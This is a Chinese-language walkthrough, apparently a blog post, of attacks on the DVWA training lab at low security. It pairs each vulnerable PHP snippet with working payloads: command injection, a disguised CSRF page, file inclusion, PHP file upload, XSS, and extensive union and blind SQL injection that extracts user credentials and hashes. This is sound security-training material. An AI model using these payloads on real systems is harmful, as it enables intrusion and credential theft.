DVWA LOW 攻击方法

准备工作

  • 安装并运行 dvwa
  • 调整 dvwa 安全等级至low

Security Level Low

  • 使用admin/password账户登录至 dvwa 面板

DVWA

Brute Force

待补充

Command Injection

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

根据源码,其没有对$target进行验证,造成漏洞。

利用方法

1
1.1.1.1; ls -la

利用结果

利用结果

CSRF

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

利用方法

构造请求

1
[dvwa]/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#

构造页面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<img
  src="[dvwa]/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#"
  border="0"
  style="display:none;"
/>
<h1>
  404
  <h1>
    <h2>
      file not found.
      <h2></h2>
    </h2>
  </h1>
</h1>

利用结果

利用结果

利用结果

File Include

源码

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

利用方法

参数page没有做任何保护就直接进行读取,会导致包含意外的文件。

通过访问[dvwa]/vulnerabilities/fi/?page=[local_file]即可读取本地或远程文件

利用结果

/etc/group

File Upload

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

利用方法

编写脚本并上传

1
<?php phpinfo(); ?>

利用结果

phpinfo

上传后通过 url 访问

phpinfo

SQL Injection

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

利用方法

PHP 源码中,未对注入攻击进行保护,可以通过简单的 SQL 注入测试方法进行注入点测试。

  • 注入点测试
1
2
?id=1' or '1'='1
?id=1' or '1'='2
  • 判断字段长度

2 正常,3 异常,则字段长度为 2

1
2
?id=1' order by 2 --
?id=1' order by 3 --
  • 确定回显点
1
?id=1' union select 111,222 --
  • 显示数据库和名称
1
?id=1' union select user(),database() --
  • 查看当前用户和 mysql 版本
1
?id=1' union select current_user(),version() --
  • 查看表名
1
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --
  • 查看列名(两种办法,加引号或者十六进制编码)
1
2
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 --
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --
  • 查看字段
1
2
3
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users  --
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users --
?id=1' union select user,password from users --

SQL Injection - Blind

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

利用方法

判断是否存在注入,注入的类型

不管输入框输入为何内容,页面上只会返回以下 2 种情形的提示: 满足查询条件则返回"User ID exists in the database.",不满足查询条件则返回"User ID is MISSING from the database.";两者返回的内容随所构造的真假条件而不同,说明存在 SQL 盲注。

# 构造语句 输出结果
1 1 exists
2 ' MISSING
3 1 and 1=1 # exists
4 1 and 1=2 # exists
5 1’ and 1=1 # exists
6 1’ and 1=2 # exists

由语句5和6构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注漏洞

猜解当前数据库名称

  1. 判断数据库名称的长度(二分法思维)
输入 输出
1' and length(database())>10 # MISSING
1' and length(database())>5 # MISSING
1' and length(database())>3 # exists
1' and length(database())=4 # exists
  1. 判断数据库名称的字符组成元素

此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符,然后各个击破。

mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:substr(string string,num start,num length)

  • string为字符串
  • start为起始位置
  • length为长度

区别: mysql中的start是从1开始的,而hibernate中的start是从0开始的。

在构造语句比较之前,先查询以下字符的ASCII码的十进制数值作为参考:

字符 ASCII码-10进制 字符 ASCII码-10进制
0 48 9 57
A 65 Z 90
a 97 z 122
_ 95 @ 64

以上常规可能用到的字符的ASCII码取值范围:[48,122] 当然也可以扩大范围,在ASCII码所有字符的取值范围中筛选:[0,127]

输入 输出
1' and ascii(substr(database(),1,1))>88 # exists
1' and ascii(substr(database(),1,1))>105 # MISSING
1' and ascii(substr(database(),1,1))>96 # exists
1' and ascii(substr(database(),1,1))>100 # MISSING
1' and ascii(substr(database(),1,1))>98 # exists
1' and ascii(substr(database(),1,1))=99 # MISSING
1' and ascii(substr(database(),1,1))=100 # exists

数据库名称的首位字符对应的ASCII码为100,查询是字母d

类似以上操作,分别猜解第2/3/4位元素的字符:

1' and ascii(substr(database(),2,1))>88 # ==> 第2位字符为 v

1' and ascii(substr(database(),3,1))>88 # ==> 第3位字符为 w

1' and ascii(substr(database(),4,1))>88 # ==> 第4位字符为 a

从而,获取到当前连接数据库的名称为:dvwa

猜解数据库中的表名

数据表属性:指定数据库下表的个数、每个表的名称(表名长度,表名组成元素)

对于Mysql,DBMS数据库管理系统—>information_schema库—>tables表—>table_schema,table_name,table_rows,…字段。

字段名 意义
table_schema 数据库名称
table_name 数据库表名
table_rows 表行数
  1. 猜解表的个数
输入 输出
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>10 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>5 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # MISSING
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # exists

由此得出,数据库中表的个数为1

  1. 猜解表名
  • 查询列出当前连接数据库下的所有表名称
1
select table_name from information_schema.tables where table_schema=database()
  • 列出当前连接数据库中的第1个表名称
1
select table_name from information_schema.tables where table_schema=database() limit 0,1
  • 以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
1
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
  • 计算所截取当前连接数据库第1个表名称作为字符串的长度值
1
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
  • 将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
  • 盲注
输入 输出
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # MISSING
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 # exists

取得dvwa数据库中第1个表的名称字符长度

  • 依次取出dvwa数据库第1个表的各个字符分别猜解(例)
输入 输出
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # exists
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists

从而dvwa数据库第1个表的名称为:users

猜解表中的字段名

  • 判断dvwa->users表中的字段数目
1
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
  • 判断在dvwa->users表中是否存在某个字段(调整column_name取值进行尝试匹配)
1
(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
  • 猜解第i+1个字段的字符长度
1
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
  • 猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/…号位)
1
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx 
  • 猜解
输入 输出
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>10 # MISSING
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>5 # exists
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>8 # MISSING
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8 # exists

得到user表中存在8个字段

  • 猜解users表中的各个字段的名称

按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称…然后是第2/3/…/8个字段名称。 当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含关键信息的字段,如:用户名、密码…

【猜想】数据库中可能保存的字段名称 用户名:username/user_name/uname/u_name/user/name/… 密码:password/pass_word/pwd/pass/…

输入 输出
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘username’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user_name’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘uname’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘u_name’)=1 # MISSING
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 # exists

存在user字段

输入 输出
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 # exists

存在password字段

  • 获取表中用户名的字段值长度
输入 输出
1’ and length(substr((select user from users limit 0,1),1))>10 # MISSING
1’ and length(substr((select user from users limit 0,1),1))>5 # MISSING
1’ and length(substr((select user from users limit 0,1),1))>3 # MISSING
1’ and length(substr((select user from users limit 0,1),1))=4 # MISSING
1’ and length(substr((select user from users limit 0,1),1))=5 # exists

user字段中第1个字段值的字符长度=5

  • 获取表中密码字段值长度
输入 输出
1’ and length(substr((select password from users limit 0,1),1))>10 # exists
1’ and length(substr((select password from users limit 0,1),1))>20 # exists
1’ and length(substr((select password from users limit 0,1),1))>40 # MISSING
1’ and length(substr((select password from users limit 0,1),1))>30 # exists
1’ and length(substr((select password from users limit 0,1),1))>35 # MISSING
1’ and length(substr((select password from users limit 0,1),1))>33 # MISSING
1’ and length(substr((select password from users limit 0,1),1))=32 # exists

password字段中第1个字段值的字符长度=32

此时发现密码的长度为32位,很大概率是经过md5后的指纹,所以手动去猜解需要花费很多时间。 可以采取两种方案:

  1. 使用二分法猜解
  2. 凭经验碰撞
user password md5($password)
admin password 5f4dcc3b5aa765d61d8327deb882cf99
admin123 123456 e10adc3949ba59abbe56e057f20f883e
admin111 12345678 25d55ad283aa400af464c76d713c07ad
root root 63a9f0ea7bb98050796b649e85481845
sa sa123456 58d65bdd8944dc8375c30b2ba10ae699
…… …… ……
输入 输出
1’ and (select count(*) from users where user=‘admin123’)=1 # MISSING
1’ and (select count(*) from users where user=‘root’)=1 # MISSING
1’ and substr((select user from users limit 0,1),1)=‘admin’ # exists
1’ and (select count(*) from users where user=‘admin’)=1 # exists

user字段的第1组取值为admin

输入 输出
1’ and (select count(*) from users where user=‘admin’ and password=‘e10adc3949ba59abbe56e057f20f883e’)=1 # MISSING
1’ and (select count(*) from users where user=‘admin’ and password=‘5f4dcc3b5aa765d61d8327deb882cf99’)=1 # exists

password 字段的第1组取值为password

Weak Session IDs

待补充

XSS(DOM)

利用方法

1
?default=<script>alert(/xss/)</script>

XSS Reflected

利用方法

1
<script>alert(/xss/)</script>

XSS Stored

利用方法

1
<script>alert(/xss/)</script>

CSP Bypass (Content Security Policy)

待补充

Javascript

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

破解方法

通过抓包可以简单识别到,无论在输入框中填写什么字符,最终提交的都是同一个md5后的字符串,所以要在填写success后,再次执行generate_token()函数,生成rot13后值的md5指纹再提交即可。

Licensed under CC BY-NC-SA 4.0
最后更新于 Nov 25, 2022 14:00 UTC+8

Built with Hugo
主题 StackJimmy 设计